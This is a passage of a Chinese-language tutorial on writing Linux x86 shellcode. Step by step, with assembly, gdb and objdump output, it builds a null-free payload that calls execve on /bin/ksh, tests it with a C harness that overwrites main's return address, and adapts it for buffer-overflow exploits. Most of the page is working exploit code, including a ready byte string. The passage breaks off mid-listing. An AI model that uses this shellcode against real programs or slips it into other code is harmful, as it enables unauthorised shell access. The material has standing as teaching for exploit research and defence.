Linux下的shellcode书写 |
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i # 1 byte 3.从堆栈中弹出字符串地址到ESI中 movl %esi,0x9(%esi) # 3 bytes 4.将字符串地址拷贝到字符串后面 movb $0x0,0x8(%esi) # 4 bytes 5.将null字节放到字符串尾部 movl $0x0,0xd(%esi) # 7 bytes 6.将null长字放到字符串地址后 movl $0xb,%eax # 5 bytes 7.将0xb拷贝到EAX中 movl %esi,%ebx # 2 bytes 8.将字符串地址拷贝到EBX中 leal 0x9(%esi),%ecx # 3 bytes 9.将字符串地址的地址拷贝到ECX leal 0xd(%esi),%edx # 3 bytes 10.将null串的地址拷贝到EDX int $0x80 # 2 bytes 11.调用中断指令int $0x80 movl $0x1, %eax # 5 bytes 12.将0x1拷贝到EAX中 movl $0x0, %ebx # 5 bytes 13.将0x0拷贝到EBX中 int $0x80 # 2 bytes 14.调用中断int $0x80 call -0x2f # 5 bytes 2.将返回地址压栈,跳到popl处执行 .string "/bin/ksh" # 9 bytes ------------------------------------------------------------------------------
14. 观察当前堆栈
当上述过程执行到第7步时,我们可以看一下这时堆栈中的情况 假设字符串的地址是0xbfffc5f0:
|........ | |---------|0xbfffc5f0 %esi 字符串地址 | / | |---------| | | |---------| | i | |---------| | | |---------| | / | |---------| | k | |---------| | s | |---------| | h | |---------|0xbfffc5f8 0x8(%esi) null字节的地址 | 0 | |---------|0xbfffc5f9 0x9(%esi) 存放字符串指针的地址 即name[0] 大小是4个字节 | 0xbf | |---------|注: 这四个字节实际可能并不是按顺序存储的,也许是按0xf0c5ffbf的顺序。 | 0xff | 我没有验证过,只是为了说明问题,简单的这么写了一下。 |---------| | 0xc5 | |---------| | 0xf0 | |---------|0xbfffc5fd 0xd(%esi) 空串的地址 即name[1] 大小是4个字节 | 0 | |---------| | 0 | |---------| | 0 | |---------| | 0 | |---------| | ....... |
15. vi shellcodeasm.c
为了证明它能正常工作,我们必须编译并运行它。但这里有个问题,我们的代码要自己修 改自己,而大部分操作系统都将代码段设为只读,为了绕过这个限制,我们必须将我们希望 执行的代码放到堆栈或数据段中,并且转向执行它,可以将代码放到数据段的一个全局 数组中。首先需要得到二进制码的16进制形式,可以先编译,然后用GDB得到我们所要的东西
int main () { __asm__ (" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x9(%esi) # 3 bytes movb $0x0,0x8(%esi) # 4 bytes movl $0x0,0xd(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x9(%esi),%ecx # 3 bytes leal 0xd(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string "/bin/ksh" # 9 bytes "); }
16. gcc -o shellcodeasm -g -ggdb shellcodeasm.c
17. gdb shellcodeasm
[scz@ /home/scz/src]> gdb shellcodeasm GNU gdb 4.17.0.11 with Linux support This GDB was configured as "i386-redhat-linux"... (gdb) disassemble main Dump of assembler code for function main: 0x8048398 : pushl %ebp 0x8048399 : movl %esp,%ebp 0x804839b : jmp 0x80483c7 0x804839d : popl %esi 0x804839e : movl %esi,0x9(%esi) 0x80483a1 : movb $0x0,0x8(%esi) 0x80483a5 : movl $0x0,0xd(%esi) 0x80483ac : movl $0xb,%eax 0x80483b1 : movl %esi,%ebx 0x80483b3 : leal 0x9(%esi),%ecx 0x80483b6 : leal 0xd(%esi),%edx 0x80483b9 : int $0x80 0x80483bb : movl $0x1,%eax 0x80483c0 : movl $0x0,%ebx 0x80483c5 : int $0x80 0x80483c7 : call 0x804839d 0x80483cc : das 0x80483cd : boundl 0x6e(%ecx),%ebp 0x80483d0 : das 0x80483d1 : imull $0x0,0x68(%ebx),%esi 0x80483d5 : leave 0x80483d6 : ret End of assembler dump. (gdb) x/bx main+3 <-- -- -- 输入 0x804839b : 0xeb (gdb) 0x804839c : 0x2a (gdb) ...
如此下去即可得到完整的机器码。 但是我们不必如此罗嗦,昨天介绍过的objdump今天派上用场了: objdump -j .text -Sl shellcodeasm | more /main 得到如下结果:
08048398 : main(): /home/scz/src/shellcodeasm.c:2 { 8048398: 55 pushl %ebp 8048399: 89 e5 movl %esp,%ebp /home/scz/src/shellcodeasm.c:3 __asm__ 804839b: eb 2a jmp 80483c7 804839d: 5e popl %esi 804839e: 89 76 09 movl %esi,0x9(%esi) 80483a1: c6 46 08 00 movb $0x0,0x8(%esi) 80483a5: c7 46 0d 00 00 00 00 movl $0x0,0xd(%esi) 80483ac: b8 0b 00 00 00 movl $0xb,%eax 80483b1: 89 f3 movl %esi,%ebx 80483b3: 8d 4e 09 leal 0x9(%esi),%ecx 80483b6: 8d 56 0d leal 0xd(%esi),%edx 80483b9: cd 80 int $0x80 80483bb: b8 01 00 00 00 movl $0x1,%eax 80483c0: bb 00 00 00 00 movl $0x0,%ebx 80483c5: cd 80 int $0x80 80483c7: e8 d1 ff ff ff call 804839d 80483cc: 2f das 80483cd: 62 69 6e boundl 0x6e(%ecx),%ebp 80483d0: 2f das 80483d1: 6b 73 68 00 imull $0x0,0x68(%ebx),%esi /home/scz/src/shellcodeasm.c:21 (" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x9(%esi) # 3 bytes movb $0x0,0x8(%esi) # 4 bytes movl $0x0,0xd(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x9(%esi),%ecx # 3 bytes leal 0xd(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string "/bin/ksh" # 9 bytes "); } 80483d5: c9 leave 80483d6: c3 ret 80483d7: 90 nop
整理shellcode如下:
eb 2a 5e 89 76 09 c6 46 08 00 c7 46 0d 00 00 00 00 b8 0b 00 00 00 89 f3 8d 4e 09 8d 56 0d cd 80 b8 01 00 00 00 bb 00 00 00 00 cd 80 e8 d1 ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3
18. 验证shellcode
vi shelltest.c
char shellcode[] = "xebx2ax5ex89x76x09xc6x46x08x00xc7x46x0dx00x00x00x00xb8x0bx00" "x00x00x89xf3x8dx4ex09x8dx56x0dxcdx80xb8x01x00x00x00xbbx00x00" "x00x00xcdx80xe8xd1xffxffxffx2fx62x69x6ex2fx6bx73x68x00xc9xc3";
int main () { int * ret; /* 当前esp指向的地址保存ret的值 */
ret = ( int * )&ret + 2; /* 得到 esp + 2 * 4,那是返回地址IP */ ( *ret ) = ( int )shellcode; /* 修改了 main() 函数的返回地址,那是很重要的一步 */ }
[scz@ /home/scz/src]> gcc -o shelltest shelltest.c [scz@ /home/scz/src]> ./shelltest $ exit [scz@ /home/scz/src]>
那说明一切都成功了!为了帮助你理解,我们还是来看看这段程序究竟做了什么:
objdump -j .text -Sl shelltest | more /main 得到如下结果:
08048398 : main(): 8048398: 55 pushl %ebp 8048399: 89 e5 movl %esp,%ebp 804839b: 83 ec 04 subl $0x4,%esp # 给局部变量预留空间 804839e: 8d 45 fc leal 0xfffffffc(%ebp),%eax # ebp - 4 => eax # 取了栈顶指针 # 为什么不直接用esp赋值? 80483a1: 8d 50 08 leal 0x8(%eax),%edx # eax + 8 => edx # edx现在指向IP 80483a4: 89 55 fc movl %edx,0xfffffffc(%ebp) # edx => [ ebp - 4 ] # 把IP的地址放入局部变量中 80483a7: 8b 45 fc movl 0xfffffffc(%ebp),%eax # ebp - 4 => eax # eax现在保存着IP的地址 80483aa: c7 00 40 94 04 08 movl $0x8049440,(%eax) # 修改了返回地址 80483b0: c9 leave 80483b1: c3 ret 80483b2: 90 nop
19. 最后的调整
它现在工作了,但还有个小问题。大多数情况下我们都是试图overflow一个字符型 buffer,因此在我们的shellcode中任何的null字节都会被认为是字符串的结束,copy过程 就被中止了。因此要使exploit工作,shellcode中不能有null字节,我们可以略微调整一 下代码:
有问题的指令 替代指令 -------------------------------------------------------- movb $0x0,0x8(%esi) xorl %eax,%eax movl $0x0,0xd(%esi) movb %eax,0x8(%esi) movl %eax,0xd(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax --------------------------------------------------------
我们改进后的代码如下:
vi shellcodeasm.c
int main () { __asm__ (" jmp 0x1f # 3 bytes popl %esi # 1 byte movl %esi,0x9(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x8(%esi) # 3 bytes movl %eax,0xd(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x9(%esi),%ecx # 3 bytes leal 0xd(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string "/bin/ksh" # 9 bytes # 48 bytes total "); }
[scz@ /home/scz/src]> gcc -o shellcodeasm -g -ggdb shellcodeasm.c [scz@ /home/scz/src]> gdb shellcodeasm GNU gdb 4.17.0.11 with Linux support This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048398 : pushl %ebp 0x8048399 : movl %esp,%ebp 0x804839b : jmp 0x80483bc 0x804839d : popl %esi 0x804839e : movl %esi,0x9(%esi) 0x80483a1 : xorl %eax,%eax 0x80483a3 : movb %al,0x8(%esi) 0x80483a6 : movl %eax,0xd(%esi) 0x80483a9 : movb $0xb,%al 0x80483ab : movl %esi,%ebx 0x80483ad : leal 0x9(%esi),%ecx 0x80483b0 : leal 0xd(%esi),%edx 0x80483b3 : int $0x80 0x80483b5 : xorl %ebx,%ebx 0x80483b7 : movl %ebx,%eax 0x80483b9 : incl %eax 0x80483ba : int $0x80 0x80483bc : call 0x804839d 0x80483c1 : das 0x80483c2 : boundl 0x6e(%ecx),%ebp 0x80483c5 : das 0x80483c6 : imull $0x0,0x68(%ebx),%esi 0x80483ca : leave 0x80483cb : ret End of assembler dump. (gdb)
objdump -j .text -Sl shellcodeasm | more /main 得到如下结果:
08048398 : main(): /home/scz/src/shellcodeasm.c:2 { 8048398: 55 pushl %ebp 8048399: 89 e5 movl %esp,%ebp /home/scz/src/shellcodeasm.c:3 __asm__ 804839b: eb 1f jmp 80483bc 804839d: 5e popl %esi 804839e: 89 76 09 movl %esi,0x9(%esi) 80483a1: 31 c0 xorl %eax,%eax 80483a3: 88 46 08 movb %al,0x8(%esi) 80483a6: 89 46 0d movl %eax,0xd(%esi) 80483a9: b0 0b movb $0xb,%al 80483ab: 89 f3 movl %esi,%ebx 80483ad: 8d 4e 09 leal 0x9(%esi),%ecx 80483b0: 8d 56 0d leal 0xd(%esi),%edx 80483b3: cd 80 int $0x80 80483b5: 31 db xorl %ebx,%ebx 80483b7: 89 d8 movl %ebx,%eax 80483b9: 40 incl %eax 80483ba: cd 80 int $0x80 80483bc: e8 dc ff ff ff call 804839d 80483c1: 2f das 80483c2: 62 69 6e boundl 0x6e(%ecx),%ebp 80483c5: 2f das 80483c6: 6b 73 68 00 imull $0x0,0x68(%ebx),%esi /home/scz/src/shellcodeasm.c:24 (" jmp 0x1f # 3 bytes popl %esi # 1 byte movl %esi,0x9(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x8(%esi) # 3 bytes movl %eax,0xd(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx 上一页 [1] [2] [3] 下一页 |
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